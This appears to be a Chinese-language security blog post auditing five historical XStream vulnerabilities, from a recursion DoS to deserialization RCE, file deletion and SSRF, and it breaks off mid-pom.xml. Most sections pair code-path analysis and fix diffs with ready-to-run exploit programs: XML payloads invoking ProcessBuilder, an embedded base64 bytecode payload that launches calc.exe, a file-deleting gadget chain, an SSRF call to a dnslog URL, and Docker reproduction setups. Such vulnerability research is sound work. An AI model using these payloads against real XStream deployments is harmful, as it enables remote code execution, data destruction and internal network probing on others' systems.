Xstream历史漏洞审计

CVE-2024-47072 栈溢出DOS

i. 审计过程

首先了解Token,这是Xstream自己定义的黑话

  • TYPE_START_NODE = 3 :开始标签。相当于 XML 里的 <name>
  • TYPE_END_NODE = 4 :结束标签。相当于 XML 里的 </name>
  • TYPE_ATTRIBUTE = 5 :属性。相当于 XML 里的 id="123"
  • TYPE_VALUE = 6 :文本值。相当于标签里的具体内容,比如 test_user
  • TYPE_MAP_ID_TO_VALUE = 2:存字典指令,告诉程序先记下一个 ID 和字符串的对应关系,方便后面简写。

问题出在readToken()函数里被选中的两行中,

当token为2的时候程序默认要存入一个字典,进入分支之后开始取ID取value

当攻击者传入如下数据时,10为2+8得来,2代表要存入字典、8代表ID占一个字节、-127为随意取值,0,0代表存入的内容是空的。

当程序执行完存入字典的流程后,函数继续调用自身return this.readToken(); 但上一个流程还没关闭,也就导致了无限递归。

ii. Commit Diff

开发者修复方式是在此处添加了一个do While循环,利用 continue解决了递归问题,同时在下面添加了mapping = !mapping;的翻转,规避掉了连续两次存入字典的情况。

iii. POC

官方POC
已验证POC
java 复制代码
package org.example;  
  
import com.thoughtworks.xstream.XStream;  
import com.thoughtworks.xstream.io.binary.BinaryStreamDriver;  
import java.io.ByteArrayInputStream;  
  
public class Exploit {  
    public static void main(String[] args) {  
        System.out.println("[*] 正在构造恶意二进制流...");  
  
        // 构造特定的字节数组,诱导 BinaryStreamDriver 进入无限递归  
        final byte[] byteArray = new byte[40000];  
        for (int i = 0; i < byteArray.length / 4; i++) {  
            byteArray[i * 4] = 10;  
            byteArray[i * 4 + 1] = -127;
            byteArray[i * 4 + 2] = 0;  
            byteArray[i * 4 + 3] = 0;  
        }  
  
        try {
            XStream xstream = new XStream(new BinaryStreamDriver());  
  
            System.out.println("[*] 开始反序列化...");  
            xstream.fromXML(new ByteArrayInputStream(byteArray));  
  
        } catch (StackOverflowError e) {  
            System.err.println("\n[!] 成功触发漏洞");  
        } catch (Exception e) {  
            e.printStackTrace();  
        }  
    }  
}

iiii. 漏洞环境

dockerfile 复制代码
FROM maven:3.8-openjdk-11-slim AS build  
WORKDIR /app  
  
COPY pom.xml .  
RUN mvn dependency:go-offline  
  
COPY src/main/java/org/example/Exploit.java /app/src/main/java/Exploit.java  
  
RUN mvn compile -Dmaven.compiler.source=11 -Dmaven.compiler.target=11  
  
CMD ["mvn", "exec:java", "-Dexec.mainClass=org.example.Exploit"]
xml 复制代码
<?xml version="1.0" encoding="UTF-8"?>  
<project xmlns="http://maven.apache.org/POM/4.0.0">  
    <modelVersion>4.0.0</modelVersion>  
    <groupId>com.poc</groupId>  
    <artifactId>xstream-dos-reproduction</artifactId>  
    <version>1.0</version>  
    <dependencies>  
        <dependency>  
            <groupId>com.thoughtworks.xstream</groupId>  
            <artifactId>xstream</artifactId>  
            <version>1.4.20</version>  
        </dependency>  
    </dependencies>  
    <build>  
        <plugins>  
            <plugin>  
                <groupId>org.codehaus.mojo</groupId>  
                <artifactId>exec-maven-plugin</artifactId>  
                <version>3.1.0</version>  
            </plugin>  
        </plugins>  
    </build>  
</project>


docker build -t xstream-cve-2024-47072 .
docker run --rm xstream-cve-2024-47072

CVE-2013-7285 反序列化

i. 审计过程

根据POC逆推,这个洞可以看标签推出来。首先sorted-set可以在Xstream.java中看到this.alias("sorted-set", SortedSet.class);可知sorted-set对应SortedSet

跟进可以看到这个SortedSet是个接口并无构造方法,于是找默认实现类

在Xstream.java中的setupDefaultImplementations方法中可以看到SortedSet的默认实现类是TreeSet,于是跟进TreeSet(注意此处内存中就已经是一个TreeSet实例了)

发现这里也是接口,但没断掉,因为下面有个this(new TreeMap<>()),当Xstream检测到TreeMap已经被创建好了就回去使用CollectionConverter.class中的populateCollection函数解析XML标签。

看下调用堆栈

继续往下走发现走到了重载的方法里

于是就又是moveDown() moveUp

其中moveDown()是为了跳进XML下一层节点

跟进addCurrentElementToCollection

target.add(item);中的target就是之前new的那个TreeMap,而此处的item就是POC中的第二个节点,也就是动态代理

但是调试信息中显示item是touch,这就是一个问题所在。

看一下调用堆栈

发现touch在最底下,在target.add(item)处打个断点就可以看到item变了

跟踪调试就能发现程序是通过populateCollection函数中的while去把栈里的元素挨个轮一遍,最后item归到的就是动态代理。

当item归到动态代理之后,由于之前说过创建的是TreeSet实例,所以会跳到下图中的add方法,里面的e就是item,也就是刚才的动态代理

再跟进put方法

里面有compare,再跟会发现里面有compareTo

这个时候问题就来了,compareTo里面的K就是动态代理,它向程序声明自己有compareTo方法,但实际上它将程序动态代理至EventHandler,而EventHandler本身不会在意动态代理转过来的参数,它只在乎自己收到了invoke请求,然后去执行攻击者所写的代码:ProcessBuilder.start()。这就是完整的链子。

ii. Commit Diff

第一步、基础安全框架

虽然还是默认允许any但是用户和开发者可以通过securityMapper添加黑名单类

看一下securityMapper,貌似是白名单

但实际上在Xstream.java里面已经开完权限了,所以还是黑名单.

第二步、拦截动态代理

官方第二步的修复方法是把java.beans.EventHandler加了黑名单并且给开发者提供了denyTypes,例如调用xstream.denyTypes(new String[]{"java.beans.EventHandler"})时先允许any后封禁EventHandler

https://github.com/x-stream/xstream/commit/6344867dce6767af7d0fe34fb393271a6456672d

iii. POC

官方POC
java 复制代码
<contact class='dynamic-proxy'>
  <interface>org.company.model.Contact</interface>
  <handler class='java.beans.EventHandler'>
    <target class='java.lang.ProcessBuilder'>
      <command>
        <string>calc.exe</string>
      </command>
    </target>
    <action>start</action>
  </handler>
</contact>


XStream xstream = new XStream();
Contact contact = (Contact)xstream.fromXML(xml);
已验证POC
java 复制代码
import com.thoughtworks.xstream.XStream;  
import com.thoughtworks.xstream.security.AnyTypePermission;  
import java.io.File;  
  
public class CVE_2013_7285_POC {  
    public static void main(String[] args) {  
        XStream xstream = new XStream();  
        xstream.addPermission(AnyTypePermission.ANY);  
        String xml = "<sorted-set>\n" +  
                "  <dynamic-proxy>\n" +  
                "    <interface>java.lang.Comparable</interface>\n" +  
                "    <handler class=\"java.beans.EventHandler\">\n" +  
                "      <target class=\"java.lang.ProcessBuilder\">\n" +  
                "        <command>\n" +  
                "          <string>touch</string>\n" +  
                "          <string>/tmp/cve-2013-7285-pwned.txt</string>\n" +  
                "        </command>\n" +  
                "      </target>\n" +  
                "      <action>start</action>\n" +  
                "    </handler>\n" +  
                "  </dynamic-proxy>\n" +  
                "</sorted-set>";  
  
        System.out.println("[*] 正在加载 CVE-2013-7285 Payload...");  
  
        try {  
            xstream.fromXML(xml);            System.out.println("[+] Payload 执行完成");  
        } catch (Exception e) {  
            System.err.println("[!] 异常信息: " + e.getMessage());  
        }  
        // 验证文件是否创建  
        File f = new File("/tmp/cve-2013-7285-pwned.txt");  
        if (f.exists()) {  
            System.out.println("[✓] 漏洞利用成功!文件已创建");  
        } else {  
            System.out.println("[✗] 漏洞利用失败,文件未创建");  
        }    }}

iiii. 漏洞环境

xml 复制代码
<dependencies>  
    <dependency>  
        <groupId>com.thoughtworks.xstream</groupId>  
        <artifactId>xstream</artifactId>  
        <version>1.4.17</version>  
    </dependency>  
    <dependency>  
        <groupId>xmlpull</groupId>  
        <artifactId>xmlpull</artifactId>  
        <version>1.1.3.1</version>  
    </dependency>  
    <dependency>  
        <groupId>xpp3</groupId>  
        <artifactId>xpp3_min</artifactId>  
        <version>1.1.4c</version>  
    </dependency>  
</dependencies>
dockerfile 复制代码
FROM eclipse-temurin:8-jdk  
  
WORKDIR /app  

ADD https://repo1.maven.org/maven2/com/thoughtworks/xstream/xstream/1.4.17/xstream-1.4.17.jar /app/xstream.jar  
ADD https://repo1.maven.org/maven2/xmlpull/xmlpull/1.1.3.1/xmlpull-1.1.3.1.jar /app/xmlpull.jar  
ADD https://repo1.maven.org/maven2/xpp3/xpp3_min/1.1.4c/xpp3_min-1.1.4c.jar /app/xpp3.jar
COPY CVE_2013_7285_POC.java /app/CVE_2013_7285_POC.java  
RUN javac -cp "xstream.jar:xmlpull.jar:xpp3.jar" CVE_2013_7285_POC.java  
CMD ["sh", "-c", "java -cp .:xstream.jar:xmlpull.jar:xpp3.jar CVE_2013_7285_POC"]

CVE-2021-39149 反序列化

i. 审计过程

payload最外层节点变成了linked-hash-set,直接去Xstream.java里看吧

跟进发现是个接口类

于是往下跟父类,在父类中找到add()方法

再跟put()->hash()->hashcode(),这个点先按下不表

接着看POC子节点,dynamic-proxy依旧动态代理。声明自己有一个map方法,实际上当程序调用这个"map"之后走的是CompositeInvocationHandlerImpl

既然动态代理声明自己是map了程序就觉得你肯定有hashcode吧,什么原因看上文。

转到CompositeInvocationHandlerImpl之后通过invoke方法直接触发危险类

这个invoke方法感觉问题还是很大,有空看看最新源码,感觉还是有问题。

它的作用主要是查看当前被调用的方法是属于哪个类的,有没有对应handler处理,有的话交过去,没有的话走默认handler。

攻击的大致链路就如下:

  • HashMap 调用 proxy.hashCode()
  • hashCode 方法属于 java.lang.Object 类。
  • CompositeInvocationHandlerImplinvoke 被触发,它去查自己的 Map。
  • 它发现:针对 Object 类的方法(hashCode),有一个现成的 DTraceProbe 处理器。
  • DTraceProbe能反射且参数可控(如下图)

ii. Commit Diff

改成默认白名单了

https://github.com/x-stream/xstream/compare/XSTREAM_1_4_17...XSTREAM_1_4_18

iii. POC

官方POC
已验证POC
java 复制代码
package org.example;  
  
import com.thoughtworks.xstream.XStream;  
import com.thoughtworks.xstream.security.AnyTypePermission;  
  
public class FinalExploit {  
    public static void main(String[] args) {  
        XStream xstream = new XStream();   
        xstream.addPermission(AnyTypePermission.ANY);  
  
String xml = "<linked-hash-set>\n" +  
                "  <dynamic-proxy>\n" +  
                "    <interface>map</interface>\n" +  
                "    <handler class='com.sun.corba.se.spi.orbutil.proxy.CompositeInvocationHandlerImpl'>\n" +  
                "      <classToInvocationHandler class='linked-hash-map'/>\n" +  
                "      <defaultHandler class='sun.tracing.NullProvider'>\n" +  
                "        <active>true</active>\n" +  
                "        <providerType>java.lang.Object</providerType>\n" +  
                "        <probes>\n" +  
                "          <entry>\n" +  
                "            <method>\n" +  
                "              <class>java.lang.Object</class>\n" +  
                "              <name>hashCode</name>\n" +  
                "              <parameter-types/>\n" +  
                "            </method>\n" +  
                "            <sun.tracing.dtrace.DTraceProbe>\n" +  
                "              <proxy class='com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl' serialization='custom'>\n" +  
                "                <com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl>\n" +  
                "                  <default>\n" +  
                "                    <__name>Pwnr</__name>\n" +  
                "                    <__bytecodes>\n" +  
                "                      <byte-array>yv66vgAAADIAOQoAAwAiBwA3BwAlBwAmAQAQc2VyaWFsVmVyc2lvblVJRAEAAUoBAA1Db25zdGFudFZhbHVlBa0gk/OR3e8+AQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBABNTdHViVHJhbnNsZXRQYXlsb2FkAQAMSW5uZXJDbGFzc2VzAQA1THlzb3NlcmlhbC9wYXlsb2Fkcy91dGlsL0dhZGdldHMkU3R1YlRyYW5zbGV0UGF5bG9hZDsBAAl0cmFuc2Zvcm0BAHIoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007W0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYBAAhkb2N1bWVudAEALUxjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NOwEACGhhbmRsZXJzAQBCW0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7AQAKRXhjZXB0aW9ucwcAJwEApihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYBAAhpdGVyYXRvcgEANUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7AQAHaGFuZGxlcgEAQUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7AQAKU291cmNlRmlsZQEADEdhZGdldHMuamF2YQwACgALBwAoAQAzeXNvc2VyaWFsL3BheWxvYWRzL3V0aWwvR2FkZ2V0cyRTdHViVHJhbnNsZXRQYXlsb2FkAQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAEAFGphdmEvaW8vU2VyaWFsaXphYmxlAQA5Y29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL1RyYW5zbGV0RXhjZXB0aW9uAQAfeXNvc2VyaWFsL3BheWxvYWRzL3V0aWwvR2FkZ2V0cwEACDxjbGluaXQ+AQARamF2YS9sYW5nL1J1bnRpbWUHACoBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7DAAsAC0KACsALgEACGNhbGMuZXhlCAAwAQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwwAMgAzCgArADQBAA1TdGFja01hcFRhYmxlAQAbeXNvc2VyaWFsL1B3bmVyNjMzNTA1NjA2NTkzAQAdTHlzb3NlcmlhbC9Qd25lcjYzMzUwNTYwNjU5MzsAIQACAAMAAQAEAAEAGgAFAAYAAQAHAAAAAgAIAAQAAQAKAAsAAQAMAAAALwABAAEAAAAFKrcAAbEAAAACAA0AAAAGAAEAAAAvAA4AAAAMAAEAAAAFAA8AOAAAAAEAEwAUAAIADAAAAD8AAAADAAAAAbEAAAACAA0AAAAGAAEAAAA0AA4AAAAgAAMAAAABAA8AOAAAAAAAAQAVABYAAQAAAAEAFwAYAAIAGQAAAAQAAQAaAAEAEwAbAAIADAAAAEkAAAAEAAAAAbEAAAACAA0AAAAGAAEAAAA4AA4AAAAqAAQAAAABAA8AOAAAAAAAAQAVABYAAQAAAAEAHAAdAAIAAAABAB4AHwADABkAAAAEAAEAGgAIACkACwABAAwAAAAkAAMAAgAAAA+nAAMBTLgALxIxtgA1V7EAAAABADYAAAADAAEDAAIAIAAAAAIAIQARAAAACgABAAIAIwAQAAk=</byte-array>\n" +  
                "                      <byte-array>yv66vgAAADIAGwoAAwAVBwAXBwAYBwAZAQAQc2VyaWFsVmVyc2lvblVJRAEAAUoBAA1Db25zdGFudFZhbHVlBXHmae48bUcYAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBAANGb28BAAxJbm5lckNsYXNzZXMBACVMeXNvc2VyaWFsL3BheWxvYWRzL3V0aWwvR2FkZ2V0cyRGb287AQAKU291cmNlRmlsZQEADEdhZGdldHMuamF2YQwACgALBwAaAQAjeXNvc2VyaWFsL3BheWxvYWRzL3V0aWwvR2FkZ2V0cyRGb28BABBqYXZhL2xhbmcvT2JqZWN0AQAUamF2YS9pby9TZXJpYWxpemFibGUBAB95c29zZXJpYWwvcGF5bG9hZHMvdXRpbC9HYWRnZXRzACEAAgADAAEABAABABoABQAGAAEABwAAAAIACAABAAEACgALAAEADAAAAC8AAQABAAAABSq3AAGxAAAAAgANAAAABgABAAAAPAAOAAAADAABAAAABQAPABIAAAACABMAAAACABQAEQAAAAoAAQACABYAEAAJ</byte-array>\n" +  
                "                    </__bytecodes>\n" +  
                "                    <__transletIndex>-1</__transletIndex>\n" +  
                "                    <__indentNumber>0</__indentNumber>\n" +  
                "                  </default>\n" +  
                "<boolean>false</boolean>                </com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl>\n" +  
                "              </proxy>\n" +  
                "              <implementing__method>\n" +  
                "                <class>com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl</class>\n" +  
                "                <name>getOutputProperties</name>\n" +  
                "                <parameter-types/>\n" +  
                "              </implementing__method>\n" +  
                "            </sun.tracing.dtrace.DTraceProbe>\n" +  
                "          </entry>\n" +  
                "        </probes>\n" +  
                "      </defaultHandler>\n" +  
                "    </handler>\n" +  
                "  </dynamic-proxy>\n" +  
                "</linked-hash-set>";  
  
        System.out.println("[*] 正在加载二进制 Payload,准备执行命令...");  
  
        try {  
            xstream.fromXML(xml);  
        } catch (Exception e) {  
            System.out.println("[+] 执行完成。");  
        }  
    }  
}
java 复制代码
import com.thoughtworks.xstream.XStream;  
import com.thoughtworks.xstream.security.AnyTypePermission;  
import java.io.File;  
  
public class FinalExploit {  
    public static void main(String[] args) {  
        XStream xstream = new XStream();  
        xstream.addPermission(AnyTypePermission.ANY);  
        // Linux创建文件的ProcessBuilder Payload  
        String xml = "<linked-hash-set>\n" +  
                "  <dynamic-proxy>\n" +  
                "    <interface>map</interface>\n" +  
                "    <handler class='com.sun.corba.se.spi.orbutil.proxy.CompositeInvocationHandlerImpl'>\n" +  
                "      <classToInvocationHandler class='linked-hash-map'/>\n" +  
                "      <defaultHandler class='sun.tracing.NullProvider'>\n" +  
                "        <active>true</active>\n" +  
                "        <providerType>java.lang.Object</providerType>\n" +  
                "        <probes>\n" +  
                "          <entry>\n" +  
                "            <method>\n" +  
                "              <class>java.lang.Object</class>\n" +  
                "              <name>hashCode</name>\n" +  
                "              <parameter-types/>\n" +  
                "            </method>\n" +  
                "            <sun.tracing.dtrace.DTraceProbe>\n" +  
                "              <!-- ProcessBuilder 执行 touch /tmp/pwned.txt -->\n" +  
                "              <proxy class='java.lang.ProcessBuilder'>\n" +  
                "                <command>\n" +  
                "                  <string>touch</string>\n" +  
                "                  <string>/tmp/pwned.txt</string>\n" +  
                "                </command>\n" +  
                "              </proxy>\n" +  
                "              <implementing__method>\n" +  
                "                <class>java.lang.ProcessBuilder</class>\n" +  
                "                <name>start</name>\n" +  
                "                <parameter-types/>\n" +  
                "              </implementing__method>\n" +  
                "            </sun.tracing.dtrace.DTraceProbe>\n" +  
                "          </entry>\n" +  
                "        </probes>\n" +  
                "      </defaultHandler>\n" +  
                "    </handler>\n" +  
                "  </dynamic-proxy>\n" +  
                "</linked-hash-set>";  
  
        System.out.println("[*] 正在加载 ProcessBuilder Payload...");  
  
        try {  
            xstream.fromXML(xml);            System.out.println("[+] Payload 执行完成");  
        } catch (Exception e) {  
            System.err.println("[!] 异常信息: " + e.getMessage());  
            e.printStackTrace();        }  
        // 检查文件  
        File f = new File("/tmp/pwned.txt");  
        if (f.exists()) {  
            System.out.println("[✓] 漏洞利用成功!/tmp/pwned.txt 已创建");  
        } else {  
            System.out.println("[✗] 漏洞利用失败,文件未创建");  
        }    }}```
#### iiii. 漏洞环境
```xml
<dependencies>  
    <dependency>  
        <groupId>com.thoughtworks.xstream</groupId>  
        <artifactId>xstream</artifactId>  
        <version>1.4.17</version>  
    </dependency>  
    <dependency>  
        <groupId>xmlpull</groupId>  
        <artifactId>xmlpull</artifactId>  
        <version>1.1.3.1</version>  
    </dependency>  
    <dependency>  
        <groupId>xpp3</groupId>  
        <artifactId>xpp3_min</artifactId>  
        <version>1.1.4c</version>  
    </dependency>  
</dependencies>

iiii. 漏洞环境

dockerfile 复制代码
FROM eclipse-temurin:8-jdk  
  
WORKDIR /app  
  
RUN apt-get update && apt-get install -y bash  
  
ADD https://repo1.maven.org/maven2/com/thoughtworks/xstream/xstream/1.4.17/xstream-1.4.17.jar /app/xstream.jar  
ADD https://repo1.maven.org/maven2/xmlpull/xmlpull/1.1.3.1/xmlpull-1.1.3.1.jar /app/xmlpull.jar  
ADD https://repo1.maven.org/maven2/xpp3/xpp3_min/1.1.4c/xpp3_min-1.1.4c.jar /app/xpp3.jar  
  
COPY FinalExploit.java /app/FinalExploit.java  
  
RUN javac -cp "xstream.jar:xmlpull.jar:xpp3.jar" FinalExploit.java  
  
CMD ["sh", "-c", "java -cp .:xstream.jar:xmlpull.jar:xpp3.jar FinalExploit"]
xml 复制代码
<dependencies>  
    <dependency>  
        <groupId>com.thoughtworks.xstream</groupId>  
        <artifactId>xstream</artifactId>  
        <version>1.4.17</version>  
    </dependency>  
    <dependency>  
        <groupId>xmlpull</groupId>  
        <artifactId>xmlpull</artifactId>  
        <version>1.1.3.1</version>  
    </dependency>  
    <dependency>  
        <groupId>xpp3</groupId>  
        <artifactId>xpp3_min</artifactId>  
        <version>1.1.4c</version>  
    </dependency>  
</dependencies>

CVE_2020_26259 任意文件删除

i. 审计过程

这个漏洞的本质其实和好多反射致使RCE差不多,攻击者可以通过正常思路RCE,官方封RCE的类,然后攻击者利用其他非RCE的类攻击,例如SQL注入、文件创建、文件删除等等。

简单跟一下吧

跟到putCurrentEntryIntoMap

put后再进hashcode(此时的getStringValue中的toString 函数,这个value是com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data)

toString()再跟get()

漏洞的正常思路是通过此处的is.close();去关闭文件的,下断点必须要在try里面下不然看不到进try的过程,因为下断点的话可以看到this.data = null return之后变成一堆0,但如果不在里面下断点的话程序会跳过直接return一堆0回来,看得我莫名其妙。

ii. Commit Diff

官方使用黑名单形式添加了.*\\.ReadAllStream\\$FileStream进行处理,治标不治本。

iii. POC

官方POC:
java 复制代码
    public void testCannotUseJaxwsInputStreamToDeleteFile() {
        if (JVM.isVersion(5)) {
            final String xml = ""
                + "<is class='com.sun.xml.ws.util.ReadAllStream$FileStream'>\n"
                + " <tempFile>target/junit/test.txt</tempFile>\n"
                + "</is>";

            xstream.aliasType("is", InputStream.class);
            try {
                xstream.fromXML(xml);
                fail("Thrown " + ConversionException.class.getName() + " expected");
            } catch (final ForbiddenClassException e) {
                // OK
            }
        }
    }

    public void testExplicitlyUseJaxwsInputStreamToDeleteFile() throws IOException {
        if (JVM.isVersion(5)) {
            final File testDir = new File("target/junit");
            final File testFile = new File(testDir, "test.txt");
            try {
                testDir.mkdirs();

                final OutputStream out = new FileOutputStream(testFile);
                out.write("JUnit".getBytes());
                out.flush();
                out.close();

                assertTrue("Test file " + testFile.getPath() + " does not exist.", testFile.exists());

                final String xml = ""
                    + "<is class='com.sun.xml.ws.util.ReadAllStream$FileStream'>\n"
                    + " <tempFile>target/junit/test.txt</tempFile>\n"
                    + "</is>";

                xstream.addPermission(AnyTypePermission.ANY); // clear out defaults
                xstream.aliasType("is", InputStream.class);

                InputStream is = null;
                try {
                    is = (InputStream)xstream.fromXML(xml);
                } catch (final ForbiddenClassException e) {
                    // OK
                }

                assertTrue("Test file " + testFile.getPath() + " no longer exists.", testFile.exists());

                byte[] data = new byte[10];
                is.read(data);
                is.close();

                assertFalse("Test file " + testFile.getPath() + " still exists exist.", testFile.exists());
            } finally {
                if (testFile.exists()) {
                    testFile.delete();
                }
                if (testDir.exists()) {
                    testDir.delete();
                }
            }
        }
    }
已验证POC:
java 复制代码
package org.example;  
  
import com.thoughtworks.xstream.XStream;  
import com.thoughtworks.xstream.security.AnyTypePermission;  
import java.io.File;  
import java.nio.file.Files;  
import java.nio.file.Paths;  
  
public class Exploit {  
    public static void main(String[] args) throws Exception {  

        String targetPath = System.getProperty("os.name").toLowerCase().contains("windows")  
                ? "victim.txt"  
                : "/tmp/victim.txt";  
  
        Files.write(Paths.get(targetPath), "Exploit Success".getBytes());  
        File f = new File(targetPath);  
        System.out.println("[*] Target file: " + f.getAbsolutePath() + " exists: " + f.exists());  
  
        XStream xstream = new XStream();  
        String xml_poc = "<map>\n" +  
                "  <entry>\n" +  
                "    <jdk.nashorn.internal.objects.NativeString>\n" +  
                "      <flags>0</flags>\n" +  
                "      <value class='com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data'>\n" +  
                "        <dataHandler>\n" +  
                "          <dataSource class='com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource'>\n" +  
                "            <contentType>text/plain</contentType>\n" +  
                "            <is class='com.sun.xml.internal.ws.util.ReadAllStream$FileStream'>\n" +  
                "              <tempFile>" + f.getAbsolutePath() + "</tempFile>\n" +  
                "            </is>\n" +  
                "          </dataSource>\n" +  
                "          <transferFlavors/>\n" +  
                "        </dataHandler>\n" +  
                "        <dataLen>0</dataLen>\n" +  
                "      </value>\n" +  
                "    </jdk.nashorn.internal.objects.NativeString>\n" +  
                "    <string>test</string>\n" +  
                "  </entry>\n" +  
                "</map>";  
  
        System.out.println("[*] Triggering exploit via ReadAllStream$FileStream...");  
        try {  
            xstream.fromXML(xml_poc);  
        } catch (Exception e) {  
        }  
  
        System.gc();  
        System.runFinalization();  
        Thread.sleep(1000);  
  
        System.out.println("[*] Exploit Check:");  
        if (!f.exists()) {  
            System.out.println("\n[SUCCESS] CVE-2020-26259 Reproduced! File Deleted.");  
        } else {  
            System.out.println("\n[FAILED] File still exists. Try checking if ReadAllStream$FileStream exists in this JDK.");  
        }  
    }  
}

iiii. 漏洞环境

Dockerfile:

dockerfile 复制代码
FROM maven:3.8.4-jdk-8-slim AS builder  
WORKDIR /app  
COPY pom.xml .  
RUN mvn dependency:go-offline  
COPY src ./src  
RUN mvn package -DskipTests  
  
  
FROM eclipse-temurin:8-jre  
WORKDIR /app  
  
COPY --from=builder /app/target/*-with-dependencies.jar app.jar  

CMD ["java", "-jar", "app.jar"]

pom.xml

xml 复制代码
<?xml version="1.0" encoding="UTF-8"?>  
<project xmlns="http://maven.apache.org/POM/4.0.0">  
    <modelVersion>4.0.0</modelVersion>  
    <groupId>com.poc</groupId>  
    <artifactId>xstream-dos-reproduction</artifactId>  
    <version>1.0</version>  
    <dependencies>  
        <dependency>  
            <groupId>com.thoughtworks.xstream</groupId>  
            <artifactId>xstream</artifactId>  
            <version>1.4.14</version>  
        </dependency>  
    </dependencies>  
    <build>  
        <plugins>  
            <plugin>  
                <groupId>org.codehaus.mojo</groupId>  
                <artifactId>exec-maven-plugin</artifactId>  
                <version>3.1.0</version>  
            </plugin>  
            <plugin>  
                <groupId>org.apache.maven.plugins</groupId>  
                <artifactId>maven-assembly-plugin</artifactId>  
                <version>3.3.0</version>  
                <configuration>  
                    <descriptorRefs>  
                        <descriptorRef>jar-with-dependencies</descriptorRef>  
                    </descriptorRefs>  
                    <archive>  
                        <manifest>  
                            <mainClass>org.example.Exploit</mainClass>  
                        </manifest>  
                    </archive>  
                </configuration>  
                <executions>  
                    <execution>  
                        <id>make-assembly</id>  
                        <phase>package</phase>  
                        <goals>  
                            <goal>single</goal>  
                        </goals>  
                    </execution>  
                </executions>  
            </plugin>  
        </plugins>  
    </build>  
</project>

CVE-2020-26258 SSRF

i. 审计过程

和任意文件删除一样都是基于CVE-2020-26257的漏洞,跟CVE-2020-26259也一样只不过一个是删文件的工具类一个是探测网络的工具类。

前半段都是putCurrentEntryIntoMaphashCode()toString()Base64data()get()等等

SSRF利用的就是getInputStream

ii. Commit Diff

黑名单,应该是最后一波黑名单了。

iii. POC

官方POC
java 复制代码
<map>
  <entry>
    <jdk.nashorn.internal.objects.NativeString>
      <flags>0</flags>
      <value class='com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data'>
        <dataHandler>
          <dataSource class='javax.activation.URLDataSource'>
            <url>http://localhost:8080/internal/:</url>
          </dataSource>
          <transferFlavors/>
        </dataHandler>
        <dataLen>0</dataLen>
      </value>
    </jdk.nashorn.internal.objects.NativeString>
    <string>test</string>
  </entry>
</map>

XStream xstream = new XStream();
xstream.fromXML(xml);
已验证POC
java 复制代码
package org.example;  
  
import com.thoughtworks.xstream.XStream;  
  
public class CVE_2020_26258 {  
    public static void main(String[] args) {  
        String ssrf_xml = "<map>\n" +  
                "  <entry>\n" +  
                "    <jdk.nashorn.internal.objects.NativeString>\n" +  
                "      <flags>0</flags>\n" +  
                "      <value class='com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data'>\n" +  
                "        <dataHandler>\n" +  
                "          <dataSource class='javax.activation.URLDataSource'>\n" +  
                "            <url>http://dnslog url/:</url>\n" +  
                "          </dataSource>\n" +  
                "          <transferFlavors/>\n" +  
                "        </dataHandler>\n" +  
                "        <dataLen>0</dataLen>\n" +  
                "      </value>\n" +  
                "    </jdk.nashorn.internal.objects.NativeString>\n" +  
                "    <string>test</string>\n" +  
                "  </entry>\n" +  
                "</map>";  
  
        XStream xstream = new XStream();  
        xstream.fromXML(ssrf_xml);  
    }  
}

iiii. 漏洞环境

dockerfile 复制代码
FROM maven:3.8.1-jdk-8  
  
WORKDIR /app  
  
RUN mkdir -p src/main/java/org/example  
  
RUN echo '<project><modelVersion>4.0.0</modelVersion><groupId>org.example</groupId><artifactId>demo</artifactId><version>1.0</version><dependencies><dependency><groupId>com.thoughtworks.xstream</groupId><artifactId>xstream</artifactId><version>1.4.14</version></dependency></dependencies></project>' > pom.xml  
  

COPY CVE_2020_26258.java src/main/java/org/example/CVE_2020_26258.java  
  
RUN mvn compile  
  
CMD ["mvn", "exec:java", "-Dexec.mainClass=org.example.CVE_2020_26258"]
xml 复制代码
<?xml version="1.0" encoding="UTF-8"?>  
<project xmlns="http://maven.apache.org/POM/4.0.0"  
         xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"  
         xsi:schemaLocation="http://maven.apache.org/POM/4.0.0  
         http://maven.apache.org/xsd/maven-4.0.0.xsd">  
    <modelVersion>4.0.0</modelVersion>  
  
    <groupId>org.example</groupId>  
